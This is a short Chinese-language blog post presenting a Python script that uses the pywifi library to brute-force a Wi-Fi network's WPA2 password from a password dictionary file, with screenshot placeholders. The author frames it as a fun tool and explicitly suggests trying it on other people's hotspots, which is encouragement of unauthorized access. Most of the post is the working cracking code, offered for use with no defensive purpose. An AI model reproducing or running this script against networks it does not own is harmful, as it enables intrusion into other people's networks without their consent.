Bootstrap

wifi、热点密码破解 - python

乐子脚本,有点小慢,试过多线程,系统 wifi 连接太慢了,需要时间确认,多线程的话系统根本反应不过来。

也就可以试试破解别人的热点,一般都是 123456 这样的傻鸟口令

image-20241018100215911

image-20241018100350221

# coding:utf-8
import pywifi
from pywifi import const
import time


# 测试连接,返回链接结果
def wifiConnect(wifiName,pwd):
    # 创建WiFi连接文件
    profile = pywifi.Profile()
    # 要连接WiFi的名称
    profile.ssid = wifiName
    # 网卡的开放状态
    profile.auth = const.AUTH_ALG_OPEN
    # wifi加密算法,一般wifi加密算法为wps
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密单元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 调用密码
    profile.key = pwd
    # 删除所有连接过的wifi文件
    iface.remove_all_network_profiles()
    # 设定新的连接文件
    tep_profile = iface.add_network_profile(profile)
    iface.connect(tep_profile)
    # wifi连接时间
    time.sleep(1)
    if iface.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False



# 读取密码本
def readPassword(path):
    print("开始破解:")
    # 打开文件
    file = open(path, "r")

    # 一行一行读取
    passwords = file.readlines()
    for password in passwords:
        # 尝试连接wifi
        bool = wifiConnect(wifiName,password)
        if bool:
            print(f"\033[91m[+]成功连接!密码:{password}\033[0m")
            exit()
        else:
            # 跳出当前循环,进行下一次循环
                print("[-]testing:",wifiName, password,end="")


if __name__ == '__main__':
    print("\033[91m保证 wlan 功能模块开启!\033[0m")
    wifiName = input("输入wifi名称:")
    path = input("输入密码字典路径:")
    while True:
        # 抓取网卡接口
        wifi = pywifi.PyWiFi()
        # 获取第一个无线网卡
        iface = wifi.interfaces()[0]
        # 断开当前网络连接
        iface.disconnect()
        # 输出无线网卡名称
        print(f"当前无线网卡:{iface.name()}")
        readPassword(path)

image-20241018093911542

;